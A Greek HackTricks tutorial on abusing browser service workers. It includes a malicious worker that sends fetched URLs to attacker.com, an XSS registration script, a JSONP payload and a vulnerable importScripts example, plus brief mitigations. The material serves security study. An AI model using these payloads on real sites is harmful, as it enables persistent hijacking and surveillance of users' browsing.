Κατάχρηση Υπηρεσιών Εργασίας
Reading time: 6 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Ένας υπηρεσία εργασία είναι ένα σενάριο που εκτελείται από τον περιηγητή σας στο παρασκήνιο, ξεχωριστά από οποιαδήποτε ιστοσελίδα, επιτρέποντας δυνατότητες που δεν απαιτούν μια ιστοσελίδα ή αλληλεπίδραση χρήστη, ενισχύοντας έτσι τις δυνατότητες εκτός σύνδεσης και επεξεργασίας στο παρασκήνιο. Λεπτομερείς πληροφορίες σχετικά με τις υπηρεσίες εργασίας μπορείτε να βρείτε εδώ. Εκμεταλλευόμενοι τις υπηρεσίες εργασίας μέσα σε έναν ευάλωτο διαδικτυακό τομέα, οι επιτιθέμενοι μπορούν να αποκτήσουν έλεγχο πάνω στις αλληλεπιδράσεις του θύματος με όλες τις σελίδες εντός αυτού του τομέα.
Έλεγχος Υπαρχουσών Υπηρεσιών Εργασίας
Οι υπάρχουσες υπηρεσίες εργασίας μπορούν να ελεγχθούν στην ενότητα Υπηρεσίες Εργασίας της καρτέλας Εφαρμογή στα Εργαλεία Ανάπτυξης. Μια άλλη μέθοδος είναι η επίσκεψη στο chrome://serviceworker-internals για μια πιο λεπτομερή προβολή.
Ειδοποιήσεις Push
Οι άδειες ειδοποιήσεων push επηρεάζουν άμεσα την ικανότητα ενός υπηρεσία εργασία να επικοινωνεί με τον διακομιστή χωρίς άμεση αλληλεπίδραση χρήστη. Εάν οι άδειες απορριφθούν, περιορίζει τη δυνατότητα της υπηρεσίας εργασίας να θέσει μια συνεχόμενη απειλή. Αντίθετα, η χορήγηση αδειών αυξάνει τους κινδύνους ασφαλείας επιτρέποντας την παραλαβή και εκτέλεση πιθανών εκμεταλλεύσεων.
Επίθεση Δημιουργίας Υπηρεσίας Εργασίας
Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να βρείτε:
- Έναν τρόπο να ανεβάσετε αυθαίρετα αρχεία JS στον διακομιστή και μια XSS για να φορτώσετε την υπηρεσία εργασία του ανεβασμένου αρχείου JS
- Ένα ευάλωτο αίτημα JSONP όπου μπορείτε να χειριστείτε την έξοδο (με αυθαίρετο κώδικα JS) και μια XSS για να φορτώσετε το JSONP με ένα payload που θα φορτώσει μια κακόβουλη υπηρεσία εργασία.
Στο παρακάτω παράδειγμα, θα παρουσιάσω έναν κώδικα για να καταχωρήσετε μια νέα υπηρεσία εργασία που θα ακούει το γεγονός fetch
και θα στέλνει στον διακομιστή των επιτιθέμενων κάθε URL που ανακτάται (αυτός είναι ο κώδικας που θα χρειαστεί να ανεβάσετε στον διακομιστή ή να φορτώσετε μέσω μιας ευάλωτης JSONP απάντησης):
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
Και αυτός είναι ο κώδικας που θα καταχωρήσει τον εργαζόμενο (ο κώδικας που θα πρέπει να είστε σε θέση να εκτελέσετε εκμεταλλευόμενοι μια XSS). Σε αυτή την περίπτωση, θα σταλεί ένα GET αίτημα στον διακομιστή των επιτιθέμενων γνωστοποιώντας αν η καταχώρηση του εργαζομένου υπηρεσίας ήταν επιτυχής ή όχι:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
Σε περίπτωση κατάχρησης ενός ευάλωτου JSONP endpoint, θα πρέπει να βάλετε την τιμή μέσα στο var sw
. Για παράδειγμα:
var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"
Υπάρχει ένα C2 αφιερωμένο στην εκμετάλλευση των Service Workers που ονομάζεται Shadow Workers το οποίο θα είναι πολύ χρήσιμο για την εκμετάλλευση αυτών των ευπαθειών.
Η κατεύθυνση cache 24 ωρών περιορίζει τη διάρκεια ζωής ενός κακόβουλου ή συμβιβασμένου service worker (SW) σε το πολύ 24 ώρες μετά την επιδιόρθωση μιας ευπάθειας XSS, υποθέτοντας ότι η κατάσταση του πελάτη είναι online. Για να ελαχιστοποιήσουν την ευπάθεια, οι διαχειριστές ιστότοπων μπορούν να μειώσουν τον Χρόνο Ζωής (TTL) του script SW. Οι προγραμματιστές συνιστάται επίσης να δημιουργήσουν ένα service worker kill-switch για γρήγορη απενεργοποίηση.
Εκμετάλλευση του importScripts
σε ένα SW μέσω DOM Clobbering
Η συνάρτηση importScripts
που καλείται από έναν Service Worker μπορεί να εισάγει ένα script από διαφορετικό τομέα. Εάν αυτή η συνάρτηση κληθεί χρησιμοποιώντας μια παράμετρο που θα μπορούσε να τροποποιήσει ένας επιτιθέμενος, θα μπορούσε να εισάγει ένα JS script από τον τομέα του και να αποκτήσει XSS.
Αυτό παρακάμπτει ακόμη και τις προστασίες CSP.
Παράδειγμα ευάλωτου κώδικα:
- index.html
<script>
navigator.serviceWorker.register(
"/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
location.search
)
// attacker controls location.search
</script>
- sw.js
const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker
Με DOM Clobbering
Για περισσότερες πληροφορίες σχετικά με το τι είναι το DOM Clobbering, ελέγξτε:
Εάν το URL/domain που χρησιμοποιεί το SW για να καλέσει importScripts
είναι μέσα σε ένα HTML στοιχείο, είναι δυνατό να το τροποποιήσετε μέσω του DOM Clobbering για να κάνετε το SW να φορτώσει ένα σενάριο από το δικό σας domain.
Για ένα παράδειγμα αυτού, ελέγξτε τον σύνδεσμο αναφοράς.
Αναφορές
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.